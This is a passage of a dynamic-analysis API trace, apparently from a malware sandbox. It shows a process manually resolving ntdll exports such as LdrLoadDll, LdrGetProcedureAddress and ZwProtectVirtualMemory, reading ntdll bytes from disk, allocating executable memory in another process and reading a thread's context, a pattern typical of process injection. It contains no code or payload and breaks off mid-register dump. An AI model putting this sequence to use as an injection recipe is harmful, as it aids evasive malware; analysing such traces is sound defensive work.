lpString2="LdrLoadDll") returned -1 [0081.684] lstrcmpA (lpString1="EtwEventRegister", lpString2="LdrLoadDll") returned -1 [0081.684] lstrcmpA (lpString1="EtwEventUnregister", lpString2="LdrLoadDll") returned -1 [0081.684] lstrcmpA (lpString1="EtwEventWrite", lpString2="LdrLoadDll") returned -1 [0081.684] lstrcmpA (lpString1="EtwEventWriteEndScenario", lpString2="LdrLoadDll") returned -1 [0081.684] lstrcmpA (lpString1="EtwEventWriteEx", lpString2="LdrLoadDll") returned -1 [0081.684] lstrcmpA (lpString1="EtwEventWriteFull", lpString2="LdrLoadDll") returned -1 [0081.684] lstrcmpA (lpString1="EtwEventWriteNoRegistration", lpString2="LdrLoadDll") returned -1 [0081.684] lstrcmpA (lpString1="EtwEventWriteStartScenario", lpString2="LdrLoadDll") returned -1 [0081.684] lstrcmpA (lpString1="EtwEventWriteString", lpString2="LdrLoadDll") returned -1 [0081.684] lstrcmpA (lpString1="EtwEventWriteTransfer", lpString2="LdrLoadDll") returned -1 [0081.684] lstrcmpA (lpString1="EtwGetTraceEnableFlags", lpString2="LdrLoadDll") returned -1 [0081.684] lstrcmpA (lpString1="EtwGetTraceEnableLevel", lpString2="LdrLoadDll") returned -1 [0081.684] lstrcmpA (lpString1="EtwGetTraceLoggerHandle", lpString2="LdrLoadDll") returned -1 [0081.684] lstrcmpA (lpString1="EtwLogTraceEvent", lpString2="LdrLoadDll") returned -1 [0081.684] lstrcmpA (lpString1="EtwNotificationRegister", lpString2="LdrLoadDll") returned -1 [0081.684] lstrcmpA (lpString1="EtwNotificationUnregister", lpString2="LdrLoadDll") returned -1 [0081.684] lstrcmpA (lpString1="EtwProcessPrivateLoggerRequest", lpString2="LdrLoadDll") returned -1 [0081.684] lstrcmpA (lpString1="EtwRegisterSecurityProvider", lpString2="LdrLoadDll") returned -1 [0081.684] lstrcmpA (lpString1="EtwRegisterTraceGuidsA", lpString2="LdrLoadDll") returned -1 [0081.684] lstrcmpA (lpString1="EtwRegisterTraceGuidsW", lpString2="LdrLoadDll") returned -1 [0081.684] lstrcmpA (lpString1="EtwReplyNotification", lpString2="LdrLoadDll") returned -1 [0081.684] lstrcmpA (lpString1="EtwSendNotification", lpString2="LdrLoadDll") returned -1 [0081.684] lstrcmpA (lpString1="EtwSetMark", lpString2="LdrLoadDll") returned -1 [0081.684] lstrcmpA (lpString1="EtwTraceEventInstance", lpString2="LdrLoadDll") returned -1 [0081.684] lstrcmpA (lpString1="EtwTraceMessage", lpString2="LdrLoadDll") returned -1 [0081.684] lstrcmpA (lpString1="EtwTraceMessageVa", lpString2="LdrLoadDll") returned -1 [0081.684] lstrcmpA (lpString1="EtwUnregisterTraceGuids", lpString2="LdrLoadDll") returned -1 [0081.684] lstrcmpA (lpString1="EtwWriteUMSecurityEvent", lpString2="LdrLoadDll") returned -1 [0081.684] lstrcmpA (lpString1="EtwpCreateEtwThread", lpString2="LdrLoadDll") returned -1 [0081.684] lstrcmpA (lpString1="EtwpGetCpuSpeed", lpString2="LdrLoadDll") returned -1 [0081.684] lstrcmpA (lpString1="EtwpNotificationThread", lpString2="LdrLoadDll") returned -1 [0081.684] lstrcmpA (lpString1="EvtIntReportAuthzEventAndSourceAsync", lpString2="LdrLoadDll") returned -1 [0081.684] lstrcmpA (lpString1="EvtIntReportEventAndSourceAsync", lpString2="LdrLoadDll") returned -1 [0081.684] lstrcmpA (lpString1="ExpInterlockedPopEntrySListEnd", lpString2="LdrLoadDll") returned -1 [0081.684] lstrcmpA (lpString1="ExpInterlockedPopEntrySListFault", lpString2="LdrLoadDll") returned -1 [0081.685] lstrcmpA (lpString1="ExpInterlockedPopEntrySListResume", lpString2="LdrLoadDll") returned -1 [0081.685] lstrcmpA (lpString1="KiFastSystemCall", lpString2="LdrLoadDll") returned -1 [0081.685] lstrcmpA (lpString1="KiFastSystemCallRet", lpString2="LdrLoadDll") returned -1 [0081.685] lstrcmpA (lpString1="KiIntSystemCall", lpString2="LdrLoadDll") returned -1 [0081.685] lstrcmpA (lpString1="KiRaiseUserExceptionDispatcher", lpString2="LdrLoadDll") returned -1 [0081.685] lstrcmpA (lpString1="KiUserApcDispatcher", lpString2="LdrLoadDll") returned -1 [0081.685] lstrcmpA (lpString1="KiUserCallbackDispatcher", lpString2="LdrLoadDll") returned -1 [0081.685] lstrcmpA (lpString1="KiUserExceptionDispatcher", lpString2="LdrLoadDll") returned -1 [0081.685] lstrcmpA (lpString1="LdrAccessResource", lpString2="LdrLoadDll") returned -1 [0081.685] lstrcmpA (lpString1="LdrAddLoadAsDataTable", lpString2="LdrLoadDll") returned -1 [0081.685] lstrcmpA (lpString1="LdrAddRefDll", lpString2="LdrLoadDll") returned -1 [0081.685] lstrcmpA (lpString1="LdrDisableThreadCalloutsForDll", lpString2="LdrLoadDll") returned -1 [0081.685] lstrcmpA (lpString1="LdrEnumResources", lpString2="LdrLoadDll") returned -1 [0081.685] lstrcmpA (lpString1="LdrEnumerateLoadedModules", lpString2="LdrLoadDll") returned -1 [0081.685] lstrcmpA (lpString1="LdrFindEntryForAddress", lpString2="LdrLoadDll") returned -1 [0081.685] lstrcmpA (lpString1="LdrFindResourceDirectory_U", lpString2="LdrLoadDll") returned -1 [0081.685] lstrcmpA (lpString1="LdrFindResourceEx_U", lpString2="LdrLoadDll") returned -1 [0081.685] lstrcmpA (lpString1="LdrFindResource_U", lpString2="LdrLoadDll") returned -1 [0081.685] lstrcmpA (lpString1="LdrFlushAlternateResourceModules", lpString2="LdrLoadDll") returned -1 [0081.685] lstrcmpA (lpString1="LdrGetDllHandle", lpString2="LdrLoadDll") returned -1 [0081.685] lstrcmpA (lpString1="LdrGetDllHandleByMapping", lpString2="LdrLoadDll") returned -1 [0081.685] lstrcmpA (lpString1="LdrGetDllHandleByName", lpString2="LdrLoadDll") returned -1 [0081.685] lstrcmpA (lpString1="LdrGetDllHandleEx", lpString2="LdrLoadDll") returned -1 [0081.685] lstrcmpA (lpString1="LdrGetFailureData", lpString2="LdrLoadDll") returned -1 [0081.685] lstrcmpA (lpString1="LdrGetFileNameFromLoadAsDataTable", lpString2="LdrLoadDll") returned -1 [0081.685] lstrcmpA (lpString1="LdrGetProcedureAddress", lpString2="LdrLoadDll") returned -1 [0081.685] lstrcmpA (lpString1="LdrGetProcedureAddressEx", lpString2="LdrLoadDll") returned -1 [0081.685] lstrcmpA (lpString1="LdrHotPatchRoutine", lpString2="LdrLoadDll") returned -1 [0081.685] lstrcmpA (lpString1="LdrInitShimEngineDynamic", lpString2="LdrLoadDll") returned -1 [0081.685] lstrcmpA (lpString1="LdrInitializeThunk", lpString2="LdrLoadDll") returned -1 [0081.685] lstrcmpA (lpString1="LdrLoadAlternateResourceModule", lpString2="LdrLoadDll") returned -1 [0081.685] lstrcmpA (lpString1="LdrLoadAlternateResourceModuleEx", lpString2="LdrLoadDll") returned -1 [0081.685] lstrcmpA (lpString1="LdrLoadDll", lpString2="LdrLoadDll") returned 0 [0081.685] CreateFileA (lpFileName="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0081.686] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=2112, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x840 [0081.686] ReadFile (in: hFile=0x5e8, lpBuffer=0x26ce6c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x26ce70, lpOverlapped=0x0 | out: lpBuffer=0x26ce6c*, lpNumberOfBytesRead=0x26ce70*=0x4, lpOverlapped=0x0) returned 1 [0081.687] CloseHandle (hObject=0x5e8) returned 1 [0081.687] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278f2f0 | out: hHeap=0x2390000) returned 1 [0081.687] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x208) returned 0x278f2f0 [0081.687] GetModuleFileNameA (in: hModule=0x77340000, lpFilename=0x278f2f0, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0081.687] lstrcmpA (lpString1="A_SHAFinal", lpString2="LdrGetProcedureAddress") returned -1 [0081.687] lstrcmpA (lpString1="A_SHAInit", lpString2="LdrGetProcedureAddress") returned -1 [0081.687] lstrcmpA (lpString1="A_SHAUpdate", lpString2="LdrGetProcedureAddress") returned -1 [0081.687] lstrcmpA (lpString1="AlpcAdjustCompletionListConcurrencyCount", lpString2="LdrGetProcedureAddress") returned -1 [0081.687] lstrcmpA (lpString1="AlpcFreeCompletionListMessage", lpString2="LdrGetProcedureAddress") returned -1 [0081.687] lstrcmpA (lpString1="AlpcGetCompletionListLastMessageInformation", lpString2="LdrGetProcedureAddress") returned -1 [0081.687] lstrcmpA (lpString1="AlpcGetCompletionListMessageAttributes", lpString2="LdrGetProcedureAddress") returned -1 [0081.687] lstrcmpA (lpString1="AlpcGetHeaderSize", lpString2="LdrGetProcedureAddress") returned -1 [0081.687] lstrcmpA (lpString1="AlpcGetMessageAttribute", lpString2="LdrGetProcedureAddress") returned -1 [0081.687] lstrcmpA (lpString1="AlpcGetMessageFromCompletionList", lpString2="LdrGetProcedureAddress") returned -1 [0081.687] lstrcmpA (lpString1="AlpcGetOutstandingCompletionListMessageCount", lpString2="LdrGetProcedureAddress") returned -1 [0081.687] lstrcmpA (lpString1="AlpcInitializeMessageAttribute", lpString2="LdrGetProcedureAddress") returned -1 [0081.687] lstrcmpA (lpString1="AlpcMaxAllowedMessageLength", lpString2="LdrGetProcedureAddress") returned -1 [0081.687] lstrcmpA (lpString1="AlpcRegisterCompletionList", lpString2="LdrGetProcedureAddress") returned -1 [0081.687] lstrcmpA (lpString1="AlpcRegisterCompletionListWorkerThread", lpString2="LdrGetProcedureAddress") returned -1 [0081.687] lstrcmpA (lpString1="AlpcRundownCompletionList", lpString2="LdrGetProcedureAddress") returned -1 [0081.687] lstrcmpA (lpString1="AlpcUnregisterCompletionList", lpString2="LdrGetProcedureAddress") returned -1 [0081.687] lstrcmpA (lpString1="AlpcUnregisterCompletionListWorkerThread", lpString2="LdrGetProcedureAddress") returned -1 [0081.687] lstrcmpA (lpString1="CsrAllocateCaptureBuffer", lpString2="LdrGetProcedureAddress") returned -1 [0081.688] lstrcmpA (lpString1="CsrAllocateMessagePointer", lpString2="LdrGetProcedureAddress") returned -1 [0081.688] lstrcmpA (lpString1="CsrCaptureMessageBuffer", lpString2="LdrGetProcedureAddress") returned -1 [0081.688] lstrcmpA (lpString1="CsrCaptureMessageMultiUnicodeStringsInPlace", lpString2="LdrGetProcedureAddress") returned -1 [0081.688] lstrcmpA (lpString1="CsrCaptureMessageString", lpString2="LdrGetProcedureAddress") returned -1 [0081.688] lstrcmpA (lpString1="CsrCaptureTimeout", lpString2="LdrGetProcedureAddress") returned -1 [0081.688] lstrcmpA (lpString1="CsrClientCallServer", lpString2="LdrGetProcedureAddress") returned -1 [0081.688] lstrcmpA (lpString1="CsrClientConnectToServer", lpString2="LdrGetProcedureAddress") returned -1 [0081.688] lstrcmpA (lpString1="CsrFreeCaptureBuffer", lpString2="LdrGetProcedureAddress") returned -1 [0081.688] lstrcmpA (lpString1="CsrGetProcessId", lpString2="LdrGetProcedureAddress") returned -1 [0081.688] lstrcmpA (lpString1="CsrIdentifyAlertableThread", lpString2="LdrGetProcedureAddress") returned -1 [0081.688] lstrcmpA (lpString1="CsrSetPriorityClass", lpString2="LdrGetProcedureAddress") returned -1 [0081.688] lstrcmpA (lpString1="CsrVerifyRegion", lpString2="LdrGetProcedureAddress") returned -1 [0081.688] lstrcmpA (lpString1="DbgBreakPoint", lpString2="LdrGetProcedureAddress") returned -1 [0081.688] lstrcmpA (lpString1="DbgPrint", lpString2="LdrGetProcedureAddress") returned -1 [0081.688] lstrcmpA (lpString1="DbgPrintEx", lpString2="LdrGetProcedureAddress") returned -1 [0081.688] lstrcmpA (lpString1="DbgPrintReturnControlC", lpString2="LdrGetProcedureAddress") returned -1 [0081.688] lstrcmpA (lpString1="DbgPrompt", lpString2="LdrGetProcedureAddress") returned -1 [0081.688] lstrcmpA (lpString1="DbgQueryDebugFilterState", lpString2="LdrGetProcedureAddress") returned -1 [0081.688] lstrcmpA (lpString1="DbgSetDebugFilterState", lpString2="LdrGetProcedureAddress") returned -1 [0081.688] lstrcmpA (lpString1="DbgUiConnectToDbg", lpString2="LdrGetProcedureAddress") returned -1 [0081.688] lstrcmpA (lpString1="DbgUiContinue", lpString2="LdrGetProcedureAddress") returned -1 [0081.688] lstrcmpA (lpString1="DbgUiConvertStateChangeStructure", lpString2="LdrGetProcedureAddress") returned -1 [0081.688] lstrcmpA (lpString1="DbgUiDebugActiveProcess", lpString2="LdrGetProcedureAddress") returned -1 [0081.688] lstrcmpA (lpString1="DbgUiGetThreadDebugObject", lpString2="LdrGetProcedureAddress") returned -1 [0081.688] lstrcmpA (lpString1="DbgUiIssueRemoteBreakin", lpString2="LdrGetProcedureAddress") returned -1 [0081.688] lstrcmpA (lpString1="DbgUiRemoteBreakin", lpString2="LdrGetProcedureAddress") returned -1 [0081.688] lstrcmpA (lpString1="DbgUiSetThreadDebugObject", lpString2="LdrGetProcedureAddress") returned -1 [0081.688] lstrcmpA (lpString1="DbgUiStopDebugging", lpString2="LdrGetProcedureAddress") returned -1 [0081.688] lstrcmpA (lpString1="DbgUiWaitStateChange", lpString2="LdrGetProcedureAddress") returned -1 [0081.688] lstrcmpA (lpString1="DbgUserBreakPoint", lpString2="LdrGetProcedureAddress") returned -1 [0081.688] lstrcmpA (lpString1="EtwCreateTraceInstanceId", lpString2="LdrGetProcedureAddress") returned -1 [0081.688] lstrcmpA (lpString1="EtwDeliverDataBlock", lpString2="LdrGetProcedureAddress") returned -1 [0081.688] lstrcmpA (lpString1="EtwEnumerateProcessRegGuids", lpString2="LdrGetProcedureAddress") returned -1 [0081.688] lstrcmpA (lpString1="EtwEventActivityIdControl", lpString2="LdrGetProcedureAddress") returned -1 [0081.688] lstrcmpA (lpString1="EtwEventEnabled", lpString2="LdrGetProcedureAddress") returned -1 [0081.688] lstrcmpA (lpString1="EtwEventProviderEnabled", lpString2="LdrGetProcedureAddress") returned -1 [0081.688] lstrcmpA (lpString1="EtwEventRegister", lpString2="LdrGetProcedureAddress") returned -1 [0081.688] lstrcmpA (lpString1="EtwEventUnregister", lpString2="LdrGetProcedureAddress") returned -1 [0081.689] lstrcmpA (lpString1="EtwEventWrite", lpString2="LdrGetProcedureAddress") returned -1 [0081.689] lstrcmpA (lpString1="EtwEventWriteEndScenario", lpString2="LdrGetProcedureAddress") returned -1 [0081.689] lstrcmpA (lpString1="EtwEventWriteEx", lpString2="LdrGetProcedureAddress") returned -1 [0081.689] lstrcmpA (lpString1="EtwEventWriteFull", lpString2="LdrGetProcedureAddress") returned -1 [0081.689] lstrcmpA (lpString1="EtwEventWriteNoRegistration", lpString2="LdrGetProcedureAddress") returned -1 [0081.689] lstrcmpA (lpString1="EtwEventWriteStartScenario", lpString2="LdrGetProcedureAddress") returned -1 [0081.689] lstrcmpA (lpString1="EtwEventWriteString", lpString2="LdrGetProcedureAddress") returned -1 [0081.689] lstrcmpA (lpString1="EtwEventWriteTransfer", lpString2="LdrGetProcedureAddress") returned -1 [0081.689] lstrcmpA (lpString1="EtwGetTraceEnableFlags", lpString2="LdrGetProcedureAddress") returned -1 [0081.689] lstrcmpA (lpString1="EtwGetTraceEnableLevel", lpString2="LdrGetProcedureAddress") returned -1 [0081.689] lstrcmpA (lpString1="EtwGetTraceLoggerHandle", lpString2="LdrGetProcedureAddress") returned -1 [0081.689] lstrcmpA (lpString1="EtwLogTraceEvent", lpString2="LdrGetProcedureAddress") returned -1 [0081.689] lstrcmpA (lpString1="EtwNotificationRegister", lpString2="LdrGetProcedureAddress") returned -1 [0081.689] lstrcmpA (lpString1="EtwNotificationUnregister", lpString2="LdrGetProcedureAddress") returned -1 [0081.689] lstrcmpA (lpString1="EtwProcessPrivateLoggerRequest", lpString2="LdrGetProcedureAddress") returned -1 [0081.689] lstrcmpA (lpString1="EtwRegisterSecurityProvider", lpString2="LdrGetProcedureAddress") returned -1 [0081.689] lstrcmpA (lpString1="EtwRegisterTraceGuidsA", lpString2="LdrGetProcedureAddress") returned -1 [0081.689] lstrcmpA (lpString1="EtwRegisterTraceGuidsW", lpString2="LdrGetProcedureAddress") returned -1 [0081.689] lstrcmpA (lpString1="EtwReplyNotification", lpString2="LdrGetProcedureAddress") returned -1 [0081.689] lstrcmpA (lpString1="EtwSendNotification", lpString2="LdrGetProcedureAddress") returned -1 [0081.689] lstrcmpA (lpString1="EtwSetMark", lpString2="LdrGetProcedureAddress") returned -1 [0081.689] lstrcmpA (lpString1="EtwTraceEventInstance", lpString2="LdrGetProcedureAddress") returned -1 [0081.689] lstrcmpA (lpString1="EtwTraceMessage", lpString2="LdrGetProcedureAddress") returned -1 [0081.689] lstrcmpA (lpString1="EtwTraceMessageVa", lpString2="LdrGetProcedureAddress") returned -1 [0081.689] lstrcmpA (lpString1="EtwUnregisterTraceGuids", lpString2="LdrGetProcedureAddress") returned -1 [0081.689] lstrcmpA (lpString1="EtwWriteUMSecurityEvent", lpString2="LdrGetProcedureAddress") returned -1 [0081.689] lstrcmpA (lpString1="EtwpCreateEtwThread", lpString2="LdrGetProcedureAddress") returned -1 [0081.689] lstrcmpA (lpString1="EtwpGetCpuSpeed", lpString2="LdrGetProcedureAddress") returned -1 [0081.689] lstrcmpA (lpString1="EtwpNotificationThread", lpString2="LdrGetProcedureAddress") returned -1 [0081.689] lstrcmpA (lpString1="EvtIntReportAuthzEventAndSourceAsync", lpString2="LdrGetProcedureAddress") returned -1 [0081.689] lstrcmpA (lpString1="EvtIntReportEventAndSourceAsync", lpString2="LdrGetProcedureAddress") returned -1 [0081.689] lstrcmpA (lpString1="ExpInterlockedPopEntrySListEnd", lpString2="LdrGetProcedureAddress") returned -1 [0081.689] lstrcmpA (lpString1="ExpInterlockedPopEntrySListFault", lpString2="LdrGetProcedureAddress") returned -1 [0081.689] lstrcmpA (lpString1="ExpInterlockedPopEntrySListResume", lpString2="LdrGetProcedureAddress") returned -1 [0081.689] lstrcmpA (lpString1="KiFastSystemCall", lpString2="LdrGetProcedureAddress") returned -1 [0081.689] lstrcmpA (lpString1="KiFastSystemCallRet", lpString2="LdrGetProcedureAddress") returned -1 [0081.689] lstrcmpA (lpString1="KiIntSystemCall", lpString2="LdrGetProcedureAddress") returned -1 [0081.690] lstrcmpA (lpString1="KiRaiseUserExceptionDispatcher", lpString2="LdrGetProcedureAddress") returned -1 [0081.690] lstrcmpA (lpString1="KiUserApcDispatcher", lpString2="LdrGetProcedureAddress") returned -1 [0081.690] lstrcmpA (lpString1="KiUserCallbackDispatcher", lpString2="LdrGetProcedureAddress") returned -1 [0081.690] lstrcmpA (lpString1="KiUserExceptionDispatcher", lpString2="LdrGetProcedureAddress") returned -1 [0081.690] lstrcmpA (lpString1="LdrAccessResource", lpString2="LdrGetProcedureAddress") returned -1 [0081.690] lstrcmpA (lpString1="LdrAddLoadAsDataTable", lpString2="LdrGetProcedureAddress") returned -1 [0081.690] lstrcmpA (lpString1="LdrAddRefDll", lpString2="LdrGetProcedureAddress") returned -1 [0081.690] lstrcmpA (lpString1="LdrDisableThreadCalloutsForDll", lpString2="LdrGetProcedureAddress") returned -1 [0081.690] lstrcmpA (lpString1="LdrEnumResources", lpString2="LdrGetProcedureAddress") returned -1 [0081.690] lstrcmpA (lpString1="LdrEnumerateLoadedModules", lpString2="LdrGetProcedureAddress") returned -1 [0081.690] lstrcmpA (lpString1="LdrFindEntryForAddress", lpString2="LdrGetProcedureAddress") returned -1 [0081.690] lstrcmpA (lpString1="LdrFindResourceDirectory_U", lpString2="LdrGetProcedureAddress") returned -1 [0081.690] lstrcmpA (lpString1="LdrFindResourceEx_U", lpString2="LdrGetProcedureAddress") returned -1 [0081.690] lstrcmpA (lpString1="LdrFindResource_U", lpString2="LdrGetProcedureAddress") returned -1 [0081.690] lstrcmpA (lpString1="LdrFlushAlternateResourceModules", lpString2="LdrGetProcedureAddress") returned -1 [0081.690] lstrcmpA (lpString1="LdrGetDllHandle", lpString2="LdrGetProcedureAddress") returned -1 [0081.690] lstrcmpA (lpString1="LdrGetDllHandleByMapping", lpString2="LdrGetProcedureAddress") returned -1 [0081.690] lstrcmpA (lpString1="LdrGetDllHandleByName", lpString2="LdrGetProcedureAddress") returned -1 [0081.690] lstrcmpA (lpString1="LdrGetDllHandleEx", lpString2="LdrGetProcedureAddress") returned -1 [0081.690] lstrcmpA (lpString1="LdrGetFailureData", lpString2="LdrGetProcedureAddress") returned -1 [0081.690] lstrcmpA (lpString1="LdrGetFileNameFromLoadAsDataTable", lpString2="LdrGetProcedureAddress") returned -1 [0081.690] lstrcmpA (lpString1="LdrGetProcedureAddress", lpString2="LdrGetProcedureAddress") returned 0 [0081.690] CreateFileA (lpFileName="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0081.690] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=2084, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x824 [0081.690] ReadFile (in: hFile=0x5e8, lpBuffer=0x26ce6c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x26ce70, lpOverlapped=0x0 | out: lpBuffer=0x26ce6c*, lpNumberOfBytesRead=0x26ce70*=0x4, lpOverlapped=0x0) returned 1 [0081.690] CloseHandle (hObject=0x5e8) returned 1 [0081.690] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278f2f0 | out: hHeap=0x2390000) returned 1 [0081.690] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x208) returned 0x278f2f0 [0081.690] GetModuleFileNameA (in: hModule=0x77340000, lpFilename=0x278f2f0, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0081.690] lstrcmpA (lpString1="A_SHAFinal", lpString2="ZwProtectVirtualMemory") returned -1 [0081.690] lstrcmpA (lpString1="A_SHAInit", lpString2="ZwProtectVirtualMemory") returned -1 [0081.690] lstrcmpA (lpString1="A_SHAUpdate", lpString2="ZwProtectVirtualMemory") returned -1 [0081.691] lstrcmpA (lpString1="AlpcAdjustCompletionListConcurrencyCount", lpString2="ZwProtectVirtualMemory") returned -1 [0081.691] lstrcmpA (lpString1="AlpcFreeCompletionListMessage", lpString2="ZwProtectVirtualMemory") returned -1 [0081.691] lstrcmpA (lpString1="AlpcGetCompletionListLastMessageInformation", lpString2="ZwProtectVirtualMemory") returned -1 [0081.691] lstrcmpA (lpString1="AlpcGetCompletionListMessageAttributes", lpString2="ZwProtectVirtualMemory") returned -1 [0081.691] lstrcmpA (lpString1="AlpcGetHeaderSize", lpString2="ZwProtectVirtualMemory") returned -1 [0081.691] lstrcmpA (lpString1="AlpcGetMessageAttribute", lpString2="ZwProtectVirtualMemory") returned -1 [0081.691] lstrcmpA (lpString1="AlpcGetMessageFromCompletionList", lpString2="ZwProtectVirtualMemory") returned -1 [0081.691] CreateFileA (lpFileName="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0081.691] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=8144, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1fd0 [0081.691] ReadFile (in: hFile=0x5e8, lpBuffer=0x26ce6c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x26ce70, lpOverlapped=0x0 | out: lpBuffer=0x26ce6c*, lpNumberOfBytesRead=0x26ce70*=0x4, lpOverlapped=0x0) returned 1 [0081.692] CloseHandle (hObject=0x5e8) returned 1 [0081.692] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278f2f0 | out: hHeap=0x2390000) returned 1 [0081.692] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x318) returned 0x278f2f0 [0081.692] NtAllocateVirtualMemory (in: ProcessHandle=0x5e4, BaseAddress=0x26cb7c*=0x0, ZeroBits=0x0, RegionSize=0x26cb78*=0x318, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0x26cb7c*=0x250000, RegionSize=0x26cb78*=0x1000) returned 0x0 [0081.692] NtGetContextThread (in: ThreadHandle=0x5e0, Context=0x26cb94 | out: Context=0x26cb94*(ContextFlags=0x10003, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x7efde000, Edx=0xd61c9a, Ecx=0x0, Eax=0x769f33b8, Ebp=0x37fe9c, Eip=0xd61c9a, SegCs=0x23, EFlags=0x246, Esp=0x37fe94, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, 